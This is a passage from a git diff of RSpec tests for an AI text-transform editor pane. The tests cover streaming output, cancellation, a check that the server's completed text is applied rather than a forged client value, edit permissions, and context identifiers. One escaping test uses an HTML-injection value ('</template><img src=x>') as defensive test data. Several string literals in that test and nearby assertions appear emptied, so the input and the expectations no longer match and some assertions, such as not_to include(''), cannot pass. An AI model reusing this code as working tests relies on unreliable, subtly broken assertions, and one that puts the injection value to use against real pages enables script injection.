have_http_status(:no_content) + end + + it "updates a pane whose run finished after its last event" do + run = run_with_events(:succeeded, ["completed", { "text" => "Done." }]) + + get ai_text_transform_pane_path(run.uuid, **pane_params, after: 1, state: "generating"), headers: stream + + expect(response).to have_http_status(:ok) + expect(response.body).to include("Replace") + end + it "streams the text so far as formatted html" do run = run_with_events(:running, ["status", { "status" => "running" }], ["text_delta", { "delta" => "**bold** text" }]) @@ -218,6 +228,15 @@ def run_with_events(status, *events) expect(response.body).to include("done", "", "Replace") end + it "keeps markup in the raw text inside its template" do + run = run_with_events(:succeeded, ["completed", { "text" => %(a < b "quoted" ) }]) + + get ai_text_transform_pane_path(run.uuid, **pane_params), headers: stream + + expect(response.body).to include("a < b "quoted" </template><img src=x>") + expect(response.body).not_to include("") + end + it "shows the stopped state for a blocked response" do run = run_with_events(:failed, ["error", { "reason" => "blocked", "message" => "Blocked." }]) @@ -252,14 +271,6 @@ def run_with_events(status, *events) expect(response).to have_http_status(:not_found) end - - it "rejects a request without a scope" do - run = run_with_events(:running) - - get ai_text_transform_pane_path(run.uuid, **pane_params.except(:scope)), headers: stream - - expect(response).to have_http_status(:bad_request) - end end describe "DELETE destroy" do @@ -282,6 +293,17 @@ def run_with_events(status, *events) expect(run.reload.cancel_requested).to be(false) end + it "cancels the run even without a valid request id" do + run = run_with_events(:running) + + delete ai_text_transform_pane_path(run.uuid), params: { request_id: "pane-1" }, headers: stream + + expect(response).to have_http_status(:ok) + expect(run.reload.cancel_requested).to be(true) + expect(response.body).to include('action="remove"') + expect(response.body).not_to include("op-dispatched:ai-text-transform:closed") + end + it "closes a pane without a run" do delete ai_text_transform_pane_path("rejected"), params: pane_params, headers: stream @@ -299,14 +321,28 @@ def run_with_events(status, *events) end describe "POST apply" do - it "hands the completed text to the editor" do - run = run_with_events(:succeeded, ["completed", { "text" => "Fixed text." }]) + it "hands the completed text of the run to the editor, never the client's" do + text = %(Fixed < text "quoted" ) + run = run_with_events(:succeeded, ["completed", { "text" => text }]) - post apply_ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream + post apply_ai_text_transform_pane_path(run.uuid), params: pane_params.merge(text: "Forged."), headers: stream - expect(response.body).to include('action="dispatchEvent"', "op-dispatched:ai-text-transform:apply") + expect(response.body).to include('action="dispatchEvent"', "op-dispatched:ai-text-transform:accepted") detail = JSON.parse(Nokogiri::HTML5.fragment(response.body).at("turbo-stream")["detail"]) - expect(detail).to eq("requestId" => request_id, "scope" => "selection", "text" => "Fixed text.") + expect(detail).to eq("requestId" => request_id, "scope" => "selection", "text" => text) + end + + context "without the permission to edit the work package any more" do + current_user { create(:user, member_with_permissions: { project => %i[view_work_packages] }) } + + it "is forbidden" do + run = create(:ai_text_transform_run, :succeeded, user: current_user, action:) + + post apply_ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream + + expect(response).to have_http_status(:forbidden) + expect(response.body).not_to include("op-dispatched") + end end it "refuses a run that has not succeeded" do diff --git a/spec/services/ai/text_transforms/context_spec.rb b/spec/services/ai/text_transforms/context_spec.rb index 0220cf148f76..bc576baa9153 100644 --- a/spec/services/ai/text_transforms/context_spec.rb +++ b/spec/services/ai/text_transforms/context_spec.rb @@ -41,6 +41,10 @@ expect(context).to have_attributes(work_package:, project:, type:) end + it "is identified by the work package" do + expect(context.ids).to eq(work_package_id: work_package.id) + end + it "resolves the type's default variant" do expect(context.type_variant).to eq(type.default_variant) end @@ -72,6 +76,10 @@ expect(context).to have_attributes(work_package: nil, project:, type:) end + it "is identified by the project and the type" do + expect(context.ids).to eq(project_id: project.id, type_id: type.id) + end + it "resolves the variant through the project" do expect(context.type_variant).to eq(project.type_variant(type)) end @@ -98,6 +106,7 @@ expect(context).to have_attributes(work_package: nil, project: nil, type: nil) expect(context.type_variant).to be_nil expect(context.template).to be_nil + expect(context.ids).to eq({}) end end end